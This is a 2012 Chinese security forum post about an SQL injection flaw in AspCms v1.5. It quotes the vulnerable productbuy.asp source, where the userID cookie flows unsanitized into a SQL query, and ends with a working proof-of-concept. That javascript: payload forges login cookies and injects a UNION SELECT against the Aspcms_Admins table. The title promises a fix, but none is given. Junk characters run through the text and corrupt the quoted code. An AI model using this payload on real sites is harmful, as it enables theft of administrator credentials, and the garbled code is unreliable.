找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2181|回复: 0
打印 上一主题 下一主题

AspCms_v1.5_20110517 SQL注射漏洞及修复

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:35:05 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好久没上土司了,上来一看发现在删号名单内.....
+ m3 C* v3 @3 o+ z! X* g也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。! w/ K: k  p- H/ g" O7 a' \3 Q
废话不多说,看代码:
; t: A" `( t9 U( }% O* @7 `0 j$ u1 c2 E+ M" ^9 ]# B
<%2 c% d! o1 Y2 l
& W: E6 N* x/ j2 s# p
if action = "buy" then
5 ~# t* T6 O) V2 W# [5 b! q' s5 x( ^$ H0 `& [4 q
        addOrder()* R2 D+ F3 D' H8 l9 k; n
0 ~2 C) Q8 U; }, T4 V2 `, r$ u
else
' \0 ~/ Q! n+ j9 s+ R& X( }6 K8 A2 u
        echoContent()
* ]  i5 l* d# C1 T9 ]/ E/ i" b+ ^/ d( Z/ ~& g
end if
- s& n3 B1 t* A4 p6 P, o1 _% t
- u1 u+ L$ C$ o. J8 o+ O9 a. X9 K# p9 _9 P5 \) d. ^7 j) y

1 h* d9 `( \3 |  `/ N, s……略过, q/ W8 V9 T6 i+ V% t+ [  n
5 t. Q: _2 L% [

) ~: [6 \3 r( @- c0 R8 m! U- T2 X9 i
Sub echoContent(). e. E9 N8 P' }; C
5 J" e6 z6 E% n/ K
        dim id+ u( }& d3 V+ [% ?  G

5 b1 m/ }, ^7 F( _" \: v        id=getForm("id","get")
  G: d9 C9 x+ P1 B# f& \4 r% f+ C6 T  r# T* p. ~" v) ^* [% l2 {( Z0 a' K4 z
        ; T3 t7 n- ?* G3 E8 d8 o$ z. h
& l& o7 m) t5 a( B5 ^
        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1"
: g4 [, T2 H1 s9 R$ S& P# l1 u% A
% J$ D% |/ z0 O& M        
. U4 ^. ]4 p2 c) |
2 T( h& y4 D+ t2 T# y        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")8 @6 |6 ?# Q- n, s/ Q

: n# J0 x) M7 d4 L" u' H        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
: g& H* e: R0 {3 `" f- v: `( c3 G6 @( Y
        Dim templatePath,tempStr* q" r7 b, k1 o, T, c
3 n( V. `5 Z) n2 Q
        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"3 M* _, V9 Q8 v, ]- M

2 H8 O' ]6 h% p: [7 `9 h' o
% i3 c* L6 a" t. l: m( {# o6 Y6 {5 A: ]8 P1 l: j; `0 z8 b* w& `
        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")" u) C  O6 V" u

5 e+ S8 D# A3 [8 Q1 V& @2 ~        selectproduct=rsObj(0)) ~! X8 Q& e  X5 n8 g
/ e0 \5 \2 m3 q' L
          F' x, t9 m: U4 a' M
- N4 q# k) y* A! d) {2 ^+ L; u
        Dim linkman,gender,phone,mobile,email,qq,address,postcode
( m7 Z' |7 I- L: F
3 o$ M# P  [7 H7 ?( B& z        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0
# T, {: I/ {2 K" v6 o2 z7 ^! _- Y+ d8 J7 K
        if rCookie("loginstatus")=1 then  & A  M' c5 B# a) S

$ |8 J8 j) ^# I) Z: F. o0 ^                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
& u5 ]1 A8 J& E. J5 \+ P
& w& y! F& a0 }" ^                linkman=rsObj("truename")5 ?7 j7 {4 v- `9 ^3 F4 D! {

- o1 L3 A: }1 [: f5 I                gender=rsObj("gender")
- L4 T3 ]) q2 Y& t9 t0 f+ u* a& s6 O0 F# V. ?: ~6 K' j" q
                phone=rsObj("phone")# U; X6 j% v4 x5 b
9 U6 _2 ?: G) R8 L- ]7 }" Y6 }
                mobile=rsObj("mobile")+ v  M; h) Q0 B, y. `1 X
" a7 L$ y) \( B  z& S
                email=rsObj("email")
, \2 t0 C$ n+ b, X. F" Z
: r3 k% ]/ q; f" X* h% W! ?, r                qq=rsObj("qq")" K; L5 I1 ~+ X7 m8 X

2 e4 t1 ~; r' T7 a                address=rsObj("address")0 M: ~' g$ G; J7 N4 B7 D  I! Z& e
& L, [* i- D, @" t: D9 X4 o2 I
                postcode=rsObj("postcode")# O& B3 j) b0 k  d6 ^* x

7 b7 C/ q1 J! b) U        else
. k3 n5 G& d6 h$ Q/ Z' e  n2 h
9 y. H. H; c7 x8 H+ I' {6 D                gender=14 A$ S9 H* s! O( P4 E. o8 A! E+ D& G
* s1 d3 p- N1 ]" u
        end if, w7 u0 E' O/ j; a
2 v, V# Z3 y1 e7 H- |! f7 }
        rsObj.close()  r0 x' v+ Y& y) K/ j% o' J3 H

2 z/ s( b9 s6 r                ) D3 z6 Q% E0 M2 `  q" }+ {

# N$ s! ?* p, [        with templateObj ! T7 a" q4 E. }. G6 T- K7 q# \  w

% i& f1 |+ v5 ]. I' d7 _                .content=loadFile(templatePath)        9 F! `" d2 K% J0 {9 u% L
% k1 n+ c/ A/ ^
                .parseHtml()! v8 X4 x, \+ v8 |: P: r! `# |% k

# Z4 c# ^$ k: c7 z$ Q                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)/ w5 U0 b2 B- d+ F& _9 i2 ]! Y. P
2 z3 m+ |5 ?3 u& y
                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
5 H, ~6 y4 v: {; h, u" ?) }* \6 B: ?% q# R4 r
                .content=replaceStr(.content,"[aspcms:gender]",gender)               
  l/ j, }7 M& a5 P9 t" [; v# s/ v$ t6 I; F+ ^4 m* L
                .content=replaceStr(.content,"[aspcms:phone]",phone)               
5 G- M0 `2 `' _- I0 H8 n% u6 C, N/ ]/ H3 k7 X. ~( l
                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               
! `5 C( a2 r& C# S  I; A' b6 P
8 C; t6 i$ o' D0 O3 p# R' q                .content=replaceStr(.content,"[aspcms:email]",email)                        
- j0 p" m. S$ E; X6 \9 D" U" i0 V( ]0 Z
                .content=replaceStr(.content,"[aspcms:qq]",qq)                        
" d5 \0 }7 s3 H+ V5 }" ?* S9 b6 @  u! `3 ?( o
                .content=replaceStr(.content,"[aspcms:address]",address)                        
8 k8 D6 [/ W1 V
! l- X  U# W3 z7 ]                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        - [( ]4 t/ _0 S- f2 a

3 m* ~5 @  w9 ]; p7 c7 h                .parseCommon()                 
& `9 X+ s6 g' E3 f* f8 I9 K
& U" ^9 m3 l* f/ k( Q* d                echo .content
+ g7 z: Y" a/ l( o4 p+ d2 G8 W) F0 O/ r* e# Y& i* a
        end with* I5 b+ p( }" ?- `' S+ z$ T3 B

# G+ ]: ^7 J) |% ^. L        set templateobj =nothing : terminateAllObjects* A+ d  t7 {4 `+ m7 }2 s

! V0 J( G, g" a4 I+ N$ \End Sub
- d2 z2 X, ]& y# G4 ?8 l漏洞很明显,没啥好说的
8 W% e6 U( f( X/ tpoc:0 ]$ h' h5 S! |* ^% a

# t1 ]7 E+ Y# u2 Cjavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​8 L5 g' z  J' c% L( S8 N
% D$ Q- e+ G* r! P
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表